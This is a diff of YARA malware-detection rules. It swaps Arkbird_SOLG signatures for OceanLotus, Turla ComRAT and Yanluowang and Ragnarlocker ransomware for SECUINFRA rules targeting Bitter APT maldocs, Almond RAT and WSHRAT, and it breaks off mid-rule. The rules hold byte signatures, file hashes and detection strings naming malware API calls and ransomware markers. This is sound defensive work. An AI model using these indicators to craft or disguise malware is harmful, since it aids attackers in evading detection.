-		hash5 = "d38e8f113c36cfa9e05c4d0d6b526d81b69039430c3b1fc64a08a3445b5a5abe"
-		tlp = "White"
-		adversary = "Oceanlotus"
+		version = "0.1"
 
 	strings:
-		$seq1 = { 41 57 41 56 41 55 41 54 41 89 f5 55 53 49 89 fc 48 83 ec 58 64 48 8b 04 25 28 00 00 00 48 89 44 24 48 31 c0 e8 77 60 ff ff 89 c7 e8 20 60 ff ff 48 8b 58 20 c6 44 24 10 85 48 8d 7c 24 10 c6 44 24 11 2d c6 44 24 12 c5 ba 22 00 00 00 c6 44 24 13 7a c6 44 24 14 02 be 30 00 00 00 c6 44 24 15 58 c6 44 24 16 30 c6 44 24 17 e4 c6 44 24 18 8a c6 44 24 19 37 c6 44 24 1a bd c6 44 24 1b 68 c6 44 24 1c f6 c6 44 24 1d f8 c6 44 24 1e 6c c6 44 24 1f 8c c6 44 24 20 97 c6 44 24 21 cb c6 44 24 22 73 c6 44 24 23 bd c6 44 24 24 7b c6 44 24 25 19 c6 44 24 26 93 c6 44 24 27 a0 c6 44 24 28 26 c6 44 24 29 26 c6 44 24 2a ae c6 44 24 2b 1c c6 44 24 2c 96 c6 44 24 2d 1d c6 44 24 2e 0f c6 44 24 2f be 44 8b 05 b6 7c 21 00 48 8b 0d b7 7c 21 00 c6 44 24 30 b2 c6 44 24 31 7d c6 44 24 32 48 c6 44 24 33 b9 c6 44 24 34 b6 c6 44 24 35 a4 c6 44 24 36 30 c6 44 24 37 43 c6 44 24 38 06 c6 44 24 39 e3 c6 44 24 3a 4f c6 44 24 3b 06 c6 44 24 3c f5 c6 44 24 3d 87 c6 44 24 3e d5 c6 44 24 3f 6a e8 3a 71 ff ff 48 89 df 48 89 c6 48 89 c5 e8 bc 6c ff ff 45 85 ed 48 89 c3 0f 85 a0 00 00 00 48 89 df e8 58 6e ff ff 85 c0 0f 84 30 01 00 00 8b 05 2a 7c 21 00 48 c7 44 24 08 00 00 00 00 48 83 ec 08 c7 44 24 0c 00 00 00 00 4c 8b 0d 16 7c 21 00 ba 2a 00 00 00 4c 89 e6 bf 01 00 00 00 50 4c 8d 44 24 14 48 8d 4c 24 18 e8 b1 71 ff ff 85 c0 5a }
-		$seq2 = { 41 54 41 b8 08 00 00 00 55 53 b9 00 f3 61 00 ba 42 00 00 00 49 89 fd 49 89 f4 48 83 ec 68 be 50 00 00 00 48 89 e7 c6 04 24 bf c6 44 24 01 cf 64 48 8b 04 25 28 00 00 00 48 89 44 24 58 31 c0 c6 44 24 02 c6 c6 44 24 03 a1 c6 44 24 04 20 c6 44 24 05 76 c6 44 24 06 5d c6 44 24 07 e5 c6 44 24 08 ec c6 44 24 09 87 c6 44 24 0a 45 c6 44 24 0b 26 c6 44 24 0c e1 c6 44 24 0d c8 c6 44 24 0e 8e c6 44 24 0f c0 c6 44 24 10 89 c6 44 24 11 d2 c6 44 24 12 ac c6 44 24 13 c1 c6 44 24 14 01 c6 44 24 15 08 c6 44 24 16 ac c6 44 24 17 8e c6 44 24 18 52 c6 44 24 19 65 c6 44 24 1a c9 c6 44 24 1b 06 c6 44 24 1c be c6 44 24 1d 82 c6 44 24 1e ef c6 44 24 1f 85 c6 44 24 20 9f c6 44 24 21 96 c6 44 24 22 fa c6 44 24 23 65 c6 44 24 24 50 c6 44 24 25 dd c6 44 24 26 0e c6 44 24 27 e0 c6 44 24 28 87 c6 44 24 29 ba c6 44 24 2a 27 c6 44 24 2b f8 c6 44 24 2c ef c6 44 24 2d 5c c6 44 24 2e 60 c6 44 24 2f 07 c6 44 24 30 b1 c6 44 24 31 c5 c6 44 24 32 3d c6 44 24 33 81 c6 44 24 34 df c6 44 24 35 87 c6 44 24 36 64 c6 44 24 37 01 c6 44 24 38 04 c6 44 24 39 9b c6 44 24 3a f9 c6 44 24 3b da c6 44 24 3c 28 c6 44 24 3d f1 c6 44 24 3e 30 c6 44 24 3f cb c6 44 24 40 c8 c6 44 24 41 48 c6 44 24 42 43 c6 44 24 43 e6 c6 44 24 44 e5 c6 44 24 45 f3 c6 44 24 46 c9 c6 44 24 47 8b c6 44 24 48 3c c6 44 24 49 a7 c6 44 24 4a 8b c6 44 24 4b 48 c6 44 24 4c 54 c6 44 24 4d 13 c6 44 24 4e 2b c6 44 24 4f bb e8 a4 aa ff ff bf 00 04 00 00 48 89 c5 e8 77 9a ff ff be 00 04 00 00 48 89 c3 48 89 c7 e8 37 9b ff ff 4c 89 ea 48 }
-		$seq3 = { 48 8d 7c 24 10 c6 44 24 10 fb c6 44 24 11 d0 64 48 8b 04 25 28 00 00 00 48 89 84 24 08 01 00 00 31 c0 c6 44 24 12 8d c6 44 24 13 ac c6 44 24 14 db c6 44 24 15 79 c6 44 24 16 84 c6 44 24 17 52 c6 44 24 18 44 c6 44 24 19 46 c6 44 24 1a 6c c6 44 24 1b d1 c6 44 24 1c ac c6 44 24 1d 31 c6 44 24 1e ca c6 44 24 1f 18 c6 44 24 20 18 c6 44 24 21 90 c6 44 24 22 ec c6 44 24 23 8f c6 44 24 24 a1 c6 44 24 25 74 c6 44 24 26 a8 c6 44 24 27 9a c6 44 24 28 53 c6 44 24 29 d4 c6 44 24 2a a4 c6 44 24 2b 5b c6 44 24 2c 68 c6 44 24 2d c8 c6 44 24 2e dd c6 44 24 2f a5 e8 18 a9 ff ff 48 89 c7 49 89 c5 e8 4d a6 ff ff 83 f8 01 74 40 31 db 4d 85 ed 74 08 4c 89 ef e8 b9 95 ff ff 48 8b 8c 24 08 01 00 00 64 48 33 }
-		$seq4 = { ba 15 00 00 00 be 20 00 00 00 c6 44 24 30 b1 c6 44 24 31 be c6 44 24 32 54 c6 44 24 33 93 c6 44 24 34 29 c6 44 24 35 67 c6 44 24 36 1f c6 44 24 37 b5 c6 44 24 38 a5 c6 44 24 39 ec c6 44 24 3a 18 c6 44 24 3b 53 c6 44 24 3c f0 c6 44 24 3d f1 c6 44 24 3e fe c6 44 24 3f 9f c6 44 24 40 27 c6 44 24 41 8f c6 44 24 42 8d c6 44 24 43 77 c6 44 24 44 1e c6 44 24 45 e1 c6 44 24 46 e1 c6 44 24 47 f0 c6 44 24 48 9e c6 44 24 49 e2 c6 44 24 4a 0d c6 44 24 4b 96 c6 44 24 4c ff c6 44 24 4d 6c c6 44 24 4e b4 c6 44 24 4f 16 e8 09 a8 ff ff 4c 89 ef 48 89 c6 49 89 c4 e8 8b a3 ff ff 48 8d bc 24 90 00 00 00 41 b8 08 00 00 00 b9 00 f3 61 00 ba 69 00 00 00 be 70 00 00 00 48 89 04 24 c6 84 24 90 00 00 00 b3 c6 84 24 91 00 00 00 0b c6 84 24 92 00 00 00 18 c6 84 24 93 00 00 00 fd c6 84 24 94 00 00 00 71 c6 84 24 95 00 00 00 3b c6 84 24 96 00 00 00 b7 c6 84 24 97 00 00 00 fc c6 84 24 98 00 00 00 70 c6 84 24 99 00 00 00 18 c6 84 24 9a 00 00 00 f7 c6 84 24 9b 00 00 00 22 c6 84 24 9c 00 00 00 2d c6 84 24 9d 00 00 00 75 c6 84 24 9e 00 00 00 5d c6 84 24 9f 00 00 00 8f c6 84 24 a0 00 00 00 75 c6 84 24 a1 00 00 00 60 c6 84 24 a2 00 00 00 91 c6 84 24 a3 00 00 00 b3 c6 84 24 a4 00 00 00 1a c6 84 24 a5 00 00 00 0b c6 84 24 a6 00 00 00 00 c6 84 24 a7 00 00 00 5c c6 84 24 a8 00 00 00 6b c6 84 24 a9 00 00 00 8d c6 84 24 aa 00 00 00 ee c6 84 24 ab 00 00 00 3b c6 84 24 ac 00 00 00 7e c6 84 24 ad 00 00 00 67 c6 84 24 ae 00 00 00 72 c6 84 24 af 00 00 00 43 c6 84 24 b0 00 00 00 f6 c6 84 24 b1 00 00 00 14 c6 84 24 b2 00 00 00 32 c6 84 24 b3 00 00 00 c1 c6 84 24 b4 00 00 00 79 c6 84 24 b5 00 00 00 0d c6 84 24 b6 00 00 00 0d c6 84 24 b7 00 00 00 22 c6 84 24 b8 00 00 00 e1 c6 84 24 b9 00 00 00 bd c6 84 24 ba 00 00 00 3f c6 84 24 bb 00 00 00 82 c6 84 24 bc 00 00 00 dd c6 84 24 bd 00 00 00 23 c6 84 24 be 00 00 00 7d c6 84 24 bf 00 00 00 87 c6 84 24 c0 00 00 00 34 c6 84 24 c1 00 00 00 9d c6 84 24 c2 00 00 00 43 c6 84 24 c3 00 00 00 98 c6 84 24 c4 00 00 00 da c6 84 24 c5 00 00 00 e0 c6 84 24 c6 00 00 00 3d c6 84 24 c7 00 00 00 64 c6 84 24 c8 00 00 00 1a c6 84 24 c9 00 00 00 d7 c6 84 24 ca 00 00 00 f5 c6 84 24 cb 00 00 00 5a c6 84 24 cc 00 00 00 c3 c6 84 24 cd 00 00 00 9c c6 84 24 ce 00 00 00 97 c6 84 24 cf 00 00 00 c7 c6 84 24 d0 00 00 00 65 c6 84 24 d1 00 00 00 8f c6 84 24 d2 00 00 00 99 c6 84 24 d3 00 00 00 eb c6 84 24 d4 00 00 00 2f c6 84 24 d5 00 00 00 2b c6 84 24 d6 00 00 00 d0 c6 84 24 d7 00 00 00 d9 c6 84 24 d8 00 00 00 4e c6 84 24 d9 00 00 00 8f c6 84 24 da 00 00 00 7b c6 84 24 db 00 00 00 97 c6 84 24 dc 00 00 00 3b c6 84 24 dd 00 00 00 14 c6 84 24 de 00 00 00 e9 c6 84 24 df 00 00 00 e9 c6 84 24 e0 00 00 00 82 c6 84 24 e1 00 00 00 48 c6 84 24 e2 00 00 00 dc c6 84 24 e3 00 00 00 a3 c6 84 24 e4 00 00 00 75 c6 84 24 e5 00 00 00 ca c6 84 24 e6 00 00 00 e6 c6 84 24 e7 00 00 00 40 c6 84 24 e8 00 00 00 6b c6 84 24 e9 00 00 00 b1 c6 84 24 ea 00 00 00 68 c6 84 24 eb 00 00 00 42 c6 84 24 ec 00 00 00 56 c6 84 24 ed 00 00 00 b4 c6 84 24 ee 00 00 00 ac c6 84 24 ef 00 00 00 2a c6 84 24 f0 00 00 00 fc c6 84 24 f1 00 00 00 34 c6 84 24 f2 00 00 00 fa c6 84 24 f3 00 00 00 1d c6 84 24 f4 00 00 00 1b c6 84 24 f5 00 00 00 9a c6 84 24 f6 00 00 00 62 c6 84 24 f7 00 00 00 b3 c6 84 24 f8 00 00 00 39 c6 84 24 f9 00 00 00 6a c6 84 24 fa 00 00 00 19 c6 84 24 fb 00 00 00 1b c6 84 24 fc 00 00 00 f3 c6 84 24 fd 00 00 00 c5 c6 84 24 fe 00 00 00 d2 c6 84 24 ff 00 00 00 6a e8 55 a4 ff ff 48 89 c7 48 89 c5 e8 4a 92 ff ff 44 8d 7c 03 0a 4d 63 ff 4c 89 ff e8 1a 94 ff ff 4c 89 fe 48 89 c3 48 89 c7 e8 dc 94 ff ff 4c 89 f2 48 89 ee 48 89 df 31 c0 e8 2c 95 ff ff 48 89 da 8b 0a 48 83 c2 04 8d 81 ff fe fe fe f7 d1 21 c8 25 80 80 80 80 74 e9 89 c1 4c 8b 3c 24 48 89 de c1 e9 10 a9 80 80 00 00 0f 44 c1 48 8d 4a 02 4c 89 ff 48 0f 44 d1 89 c1 00 c1 48 83 da 03 48 29 da e8 93 a8 ff ff 4c 89 ff be ed 01 00 00 4c 89 3c 24 e8 d2 aa ff ff 48 8d 44 24 50 41 b8 08 00 00 00 b9 00 f3 61 00 ba 34 00 00 00 be 40 00 00 00 c6 44 24 50 c6 48 89 c7 c6 44 24 51 3b c6 44 24 52 16 c6 44 24 53 01 c6 44 24 54 92 c6 44 24 55 36 c6 44 24 56 81 c6 44 24 57 c8 c6 44 24 58 f3 c6 44 24 59 49 c6 44 24 5a a8 c6 44 24 5b 02 c6 44 24 5c 6f c6 44 24 5d 9d c6 44 24 5e db c6 44 24 5f 61 c6 44 24 60 8a c6 44 24 61 e3 c6 44 24 62 f4 c6 44 24 63 1b c6 44 24 64 33 c6 44 24 65 4d c6 44 24 66 b4 c6 44 24 67 00 c6 44 24 68 f4 c6 44 24 69 76 c6 44 24 6a 70 c6 44 24 6b 56 c6 44 24 6c e2 c6 44 24 6d f3 c6 44 24 6e 5c c6 44 24 6f 73 c6 44 24 70 06 c6 44 24 71 de c6 44 24 72 c5 c6 44 24 73 fa c6 44 24 74 4c c6 44 24 75 7b c6 44 24 76 34 c6 44 24 77 b9 c6 44 24 78 d3 c6 44 24 79 a6 c6 44 24 7a 9b c6 44 24 7b 03 c6 44 24 7c f7 c6 44 24 7d 8e c6 44 24 7e 37 c6 44 24 7f 6a c6 84 24 80 00 00 00 3a c6 84 24 81 00 00 00 97 c6 84 24 82 00 00 00 57 c6 84 24 83 00 00 00 25 c6 84 24 84 00 00 00 2c c6 84 24 85 00 00 00 ac c6 84 24 86 00 00 00 a6 c6 84 24 87 00 00 00 de c6 84 24 88 00 00 00 29 c6 84 24 89 00 00 00 ca c6 84 24 8a 00 00 00 c0 c6 84 24 8b 00 00 00 93 c6 84 24 8c 00 00 00 67 c6 84 24 8d 00 00 00 47 c6 84 24 8e 00 00 00 8d c6 84 24 8f 00 00 00 }
+		$name = "PDF-Scan180220225499044" ascii wide
 
 	condition:
-		uint32(0)==0x464c457f and filesize >10KB and 3 of ($seq*)
+		uint16(0)==0x5a4d and filesize <300KB and $name
 }
-rule ARKBIRD_SOLG_APT_Turla_Comrat_Chinch_V4_Jan_2021_1 : FILE
+import "dotnet"
+import "pe"
+
+rule SECUINFRA_APT_Bitter_Maldoc_Verify : CVE_2018_0798
 {
 	meta:
-		description = "Detect ComRAT V4 (Chinch) used by APT Turla group"
-		author = "Arkbird_SOLG"
-		id = "7d4daf3d-eed9-59fb-a4b9-fbc1c72adfcd"
-		date = "2021-01-23"
-		modified = "2021-01-26"
-		reference = "Internal Research"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-01-23/Turla/APT_Turla_ComRAT_Chinch_V4_Jan_2021_1.yar#L1-L28"
+		description = "Detects Bitter (T-APT-17) shellcode in oleObject (CVE-2018-0798)"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "8e0e32d3-f00e-5145-9386-f42ddca703ae"
+		date = "2022-06-01"
+		modified = "2022-07-05"
+		reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L11-L40"
 		license_url = "N/A"
-		logic_hash = "0d92207c4716f8d2fbf1d4f0cf3a33c38417fdd1565c87c251f7ff290135c435"
+		logic_hash = "1d30e2ad0d99d274a4e3dd029ff41ec05e8ba4160bea37762bce1bb5286493d8"
 		score = 75
-		quality = 75
-		tags = "FILE"
-		hash1 = "a62e1a866bc248398b6abe48fdb44f482f91d19ccd52d9447cda9bc074617d56"
+		quality = 70
+		tags = "CVE-2018-0798"
+		tlp = "WHITE"
+		hash0 = "0c7158f9fc2093caf5ea1e34d8b8fffce0780ffd25191fac9c9b52c3208bc450"
+		hash1 = "bd0d25194634b2c74188cfa3be6668590e564e6fe26a6fe3335f95cbc943ce1d"
+		hash2 = "3992d5a725126952f61b27d43bd4e03afa5fa4a694dca7cf8bbf555448795cd6"
 
 	strings:
-		$com1 = "state->_reprocess_current_token || token.type != GUMBO_TOKEN_START_TAG || token.v.start_tag.attributes.data == NULL" fullword wide
-		$com2 = "fragment_ctx != GUMBO_TAG_LAST" fullword wide
-		$com3 = "has_matching_a == 1" fullword wide
-		$com4 = "ODFA: %u %d %u" fullword ascii
-		$com5 = "Custom browser path is empty." fullword ascii
-		$com6 = "Default browser path is:" fullword ascii
-		$com7 = "Search for browser path." fullword ascii
-		$com8 = "Cant retrieve any path." fullword ascii
-		$com9 = "Custom browser path is:" fullword ascii
-		$jmp1 = { 2e 64 6c 6c 00 55 4d 45 50 00 56 46 45 50 }
-		$jmp2 = { 33 c9 e9 ?? ?? ff ff cc cc cc cc cc cc cc cc cc }
-		$seq1 = { 40 55 48 8d ac 24 00 fd ff ff 48 81 ec 00 04 00 00 48 8b 05 80 46 1b 00 48 33 c4 48 89 85 d0 02 00 00 b9 d8 02 00 00 e8 f4 8b 07 00 4c 8b 0d c5 a5 1c 00 48 8d 95 00 01 00 00 4c 8b 05 af a5 1c 00 48 8d 0d c8 9d 1c 00 4d 2b c8 48 89 05 ae 8a 1d 00 e8 a9 7e fc ff 48 83 bd 18 01 00 00 10 48 8d 8d 00 01 00 00 48 0f 43 8d 00 01 00 00 ff 15 24 f3 0c 00 48 8b 15 25 f3 0c 00 48 8b c8 e8 6d 59 fb ff 48 8b 95 18 01 00 00 48 83 fa 10 }
-		$seq2 = { 41 8b 41 08 83 e8 09 83 f8 08 }
-		$seq3 = { 48 8b 03 48 8b cb ff 50 08 48 8b 95 f8 01 00 00 48 83 fa 08 72 39 48 8b 8d e0 }
-		$seq4 = { b8 09 00 00 00 44 88 a5 60 01 00 00 48 8d 8d 60 01 00 00 f3 0f 7f 85 70 01 00 00 e8 c1 19 fc ff ba df 5e ca 76 48 8d 4d 50 e8 63 ea fc ff 48 8b c8 48 8d 95 60 01 00 00 e8 c4 cb ff ff 0f b6 15 dd 8b 1c 00 48 8b c8 e8 35 cd ff ff 48 8b 95 78 01 00 00 48 83 fa 10 72 34 }
+		$xor_string0 = "LoadLibraryA" xor
+		$xor_string1 = "urlmon.dll" xor
+		$xor_string2 = "Shell32.dll" xor
+		$xor_string3 = "ShellExecuteA" xor
+		$xor_string4 = "MoveFileA" xor
+		$xor_string5 = "CreateDirectoryA" xor
+		$xor_string6 = "C:\\Windows\\explorer" xor
+		$padding = {000001128341000001128341000001128342000001128342}
 
 	condition:
-		uint16(0)==0x5a4d and filesize >1000KB and 6 of ($com*) and all of ($jmp*) and 3 of ($seq*)
+		3 of ($xor_string*) and $padding
 }
-rule ARKBIRD_SOLG_RAN_Yanluowang_Dec_2021_1 : FILE
+import "dotnet"
+import "pe"
+
+rule SECUINFRA_APT_Bitter_Almond_RAT : FILE
 {
 	meta:
-		description = "Detect Yanluowang ransomware"
-		author = "Arkbird_SOLG"
-		id = "339d3dab-9bdd-5a46-8261-c32862ccc3bf"
-		date = "2021-12-17"
-		modified = "2021-12-18"
-		reference = "https://samples.vx-underground.org/samples/Families/YanluowangRansomware/"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-18/RAN_Yanluowang_Dec_2021_1.yara#L1-L20"
+		description = "Detects Bitter (T-APT-17) Almond RAT (.NET)"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "191fadf9-4f64-56c9-bc2a-a7b4e27ab0fc"
+		date = "2022-06-01"
+		modified = "2022-07-05"
+		reference = " https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L82-L108"
 		license_url = "N/A"
-		logic_hash = "0144874fb24411b4378a2e2992934e674808f01ecc38f23d0d9d37e1d45621e4"
+		hash = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
+		logic_hash = "b8d6b95987fe434fc16c87a7bc144f1fe69301a32bb93588df7c2abbfef62d75"
 		score = 75
-		quality = 75
+		quality = 70
 		tags = "FILE"
-		hash1 = "49d828087ca77abc8d3ac2e4719719ca48578b265bbb632a1a7a36560ec47f2d"
-		hash2 = "d11793433065633b84567de403c1989640a07c9a399dd2753aaf118891ce791c"
-		tlp = "white"
-		adversary = "-"
+		tlp = "WHITE"
 
 	strings:
-		$s1 = { 6a 00 68 7b 4d 45 00 e8 52 2a 00 00 6a 00 6a 00 68 44 58 45 00 68 78 58 45 00 68 d8 56 45 00 c6 45 fc 15 8b 3d d8 71 44 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 cc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 e4 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 fc 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 10 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 2c 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 88 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 a0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 b8 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 d0 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 ec 59 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 00 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 14 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 28 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 40 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 54 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 80 58 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 68 5a 45 00 68 78 58 45 00 68 d8 56 45 00 6a 00 ff d7 6a 00 6a 00 68 7c 5a 45 00 68 78 58 45 00 }
-		$s2 = { 83 bd d4 ee ff ff 10 8d 85 c0 ee ff ff 51 0f 43 85 c0 ee ff ff 8d 8d 90 ee ff ff 50 6a 30 68 a0 56 45 00 8d 85 c0 ee ff ff 50 ff b5 e8 ee ff ff e8 83 45 00 00 83 bd a4 ee ff ff 10 8d 85 90 ee ff ff 6a 00 0f 43 85 90 ee ff ff 6a 00 50 68 d4 56 45 00 68 d8 56 45 00 6a 00 ff d7 8b 95 a4 ee ff ff 83 fa 10 72 2f 8b 8d 90 ee ff ff 42 8b c1 81 fa 00 10 00 00 72 14 8b 49 fc 83 c2 23 2b c1 83 c0 fc }
-		$s3 = { 68 00 00 00 f0 6a 01 6a 00 6a 00 8d 85 5c ee ff ff 50 ff 15 14 70 44 00 8d 85 40 ee ff ff 50 57 6a 01 ff b5 5c ee ff ff ff 15 40 70 44 00 8b 35 1c 70 44 00 8d 85 60 ec ff ff 6a 20 50 6a 00 6a 00 6a 01 6a 00 ff b5 40 ee ff ff c7 85 e8 ee ff ff 20 00 00 00 c7 85 60 ec ff ff 20 00 00 00 ff d6 ff b5 60 ec ff ff e8 1f cc 01 00 8b 8d 50 ec ff ff 83 c4 04 89 85 4c ec ff ff 0f 10 01 0f 11 00 0f 10 41 10 8d 8d e8 ee ff ff 0f 11 40 10 ff b5 60 ec ff ff 51 50 6a 00 6a 01 6a 00 ff b5 40 ee ff ff ff d6 8d 85 6c ec ff ff 33 ff 50 57 6a 01 68 80 00 00 00 ff b5 4c ec ff ff 89 bd 40 ec ff ff 89 bd bc ee ff ff ff 15 3c 70 44 00 85 c0 74 47 ff b5 6c ec ff ff e8 ae cb 01 00 83 c4 04 8b f0 8d 85 6c ec ff ff 89 b5 bc ee ff ff 50 56 6a 01 68 80 00 00 00 ff b5 4c ec ff ff ff 15 3c 70 44 00 85 }
-		$s4 = { 8b ec 6a ff 68 2b 52 44 00 64 a1 00 00 00 00 50 81 ec 8c 02 00 00 a1 c0 c8 45 00 33 c5 89 45 f0 56 57 50 8d 45 f4 64 a3 00 00 00 00 6a 05 33 c0 c7 45 c0 00 00 00 00 68 84 57 45 00 8d 4d c0 c7 45 d0 00 00 00 00 c7 45 d4 07 00 00 00 66 89 45 c0 e8 59 3f 00 00 c7 45 fc 00 00 00 00 8d 4d d8 6a 03 33 c0 c7 45 d8 00 00 00 00 68 90 57 45 00 c7 45 e8 00 00 00 00 c7 45 ec 07 00 00 00 66 89 45 d8 e8 28 3f 00 00 6a 00 6a 0f c7 45 fc 01 00 00 00 ff 15 98 70 44 00 8b f0 89 b5 74 fd ff ff 83 fe ff 0f 84 2c 02 00 00 a1 9c 70 44 00 8d 7d c0 8b 0d 48 70 44 00 89 85 7c fd ff ff a1 80 70 44 00 89 85 78 fd ff ff a1 4c 70 44 00 89 85 80 fd ff ff a1 90 70 44 00 c7 85 88 fd ff ff 00 00 00 00 89 bd 84 fd ff ff 89 8d 6c fd ff ff 89 85 70 fd ff ff 66 66 66 }
+		$function0 = "GetMacid" ascii
+		$function1 = "StartCommWithServer" ascii
+		$function2 = "sendingSysInfo" ascii
+		$dbg0 = "*|END|*" wide
+		$dbg1 = "FILE>" wide
+		$dbg2 = "[Command Executed Successfully]" wide
 
 	condition:
-		uint16(0)==0x5A4D and filesize >100KB and all of ($s*)
+		uint16(0)==0x5a4d and dotnet.version=="v4.0.30319" and filesize >12KB and filesize <68KB and any of ($function*) and any of ($dbg*)
 }
+import "dotnet"
 import "pe"
 
-rule ARKBIRD_SOLG_Ransom_Ragnarlocker_July_2020_1 : FILE
+rule SECUINFRA_APT_Bitter_PDB_Paths : FILE
 {
 	meta:
-		description = "Detect Ragnarlocker by strings (July 2020)"
-		author = "Arkbird_SOLG"
-		id = "9291ed33-8d7d-5b88-9075-b847fdbab179"
-		date = "2020-07-30"
-		modified = "2020-07-30"
-		reference = "https://twitter.com/JAMESWT_MHT/status/1288797666688851969"
-		source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-07-30/Yara_Ransom_Ragnarlocker_July_2020_1.yar#L3-L34"
+		description = "Detects Bitter (T-APT-17) PDB Paths"
+		author = "SECUINFRA Falcon Team (@SI_FalconTeam)"
+		id = "e2ad4ac3-45fe-5087-b0d6-a5de16774229"
+		date = "2022-06-22"
+		modified = "2022-07-05"
+		reference = "https://www.secuinfra.com/en/techtalk/whatever-floats-your-boat-bitter-apt-continues-to-target-bangladesh"
+		source_url = "https://github.com/SIFalcon/Detection/blob/2d7c66d7d16c7541bf2a9a83a7a6d334364a26fd/Yara/APT/APT_Bitter_T-APT-17.yar#L110-L133"
 		license_url = "N/A"
-		logic_hash = "73d3be9a2d3b315ed6d3d93e2c6f9988d60234530b0398e8949c511f919a8954"
+		logic_hash = "7eb9e4c1b4e0cca070596f3702045756eb32716481bb59f2f8322221804291f5"
 		score = 75
-		quality = 23
+		quality = 70
 		tags = "FILE"
-		hash1 = "04c9cc0d1577d5ee54a4e2d4dd12f17011d13703cdd0e6efd46718d14fd9aa87"
+		tlp = "WHITE"
+		hash0 = "55901c2d5489d6ac5a0671971d29a31f4cdfa2e03d56e18c1585d78547a26396"
 
 	strings:
-		$f1 = "bootfont.bin" fullword wide
-		$f2 = "bootmgr.efi" fullword wide
-		$f3 = "bootsect.bak" fullword wide
-		$r1 = "$!.txt" fullword wide
-		$r2 = "---BEGIN KEY R_R---" fullword ascii
-		$r3 = "!$R4GN4R_" fullword wide
-		$r4 = "RAGNRPW" fullword ascii
-		$r5 = "---END KEY R_R---" fullword ascii
-		$a1 = "+RhRR!-uD8'O&Wjq1_P#Rw<9Oy?n^qSP6N{BngxNK!:TG*}\\|W]o?/]H*8z;26X0" fullword ascii
-		$a2 = "\\\\.\\PHYSICALDRIVE%d" fullword wide
-		$a3 = "WinSta0\\Default" fullword wide
-		$a4 = "%s-%s-%s-%s-%s" fullword wide
-		$a5 = "SOFTWARE\\Microsoft\\Cryptography" fullword wide
-		$c1 = "-backup" fullword wide
-		$c2 = "-force" fullword wide
-		$c3 = "-vmback" fullword wide
-		$c4 = "-list" fullword wide
-		$s1 = ".ragn@r_" fullword wide
-		$s2 = "\\notepad.exe" fullword wide
-		$s3 = "Opera Software" fullword wide
-		$s4 = "Tor browser" fullword wide
+		$pdbPath0 = "C:\\Users\\Window 10 C\\Desktop\\COMPLETED WORK\\" ascii
+		$pdbPath1 = "stdrcl\\stdrcl\\obj\\Release\\stdrcl.pdb"
+		$pdbPath2 = "g:\\Projects\\cn_stinker_34318\\"
+		$pdbPath3 = "renewedstink\\renewedstink\\obj\\Release\\stimulies.pdb"
 
 	condition:
-		uint16(0)==0x5a4d and filesize <30KB and (pe.imphash()=="2c2aab89a4cba444cf2729e2ed61ed4f" and ((2 of ($f*)) and (3 of ($r*)) and (4 of ($a*)) and (2 of ($c*)) and (2 of ($s*))))
+		uint16(0)==0x5a4d and any of ($pdbPath*)
 }
-rule ARKBIRD_SOLG_APT_Chimera_Sept_2020_1 : FILE
+rule SECUINFRA_MAL_WSHRAT : RAT JAVASCRIPT WSHRAT FILE
 {
 	meta:
-		description = "Detect Cobalt Strike agent used by Chimera"
-		author = "Arkbird_SOLG"
-		id = "7a7c3952-fa6e-5643-a40f-d2e466b8c2a2"
-		date = "2020-10-03"
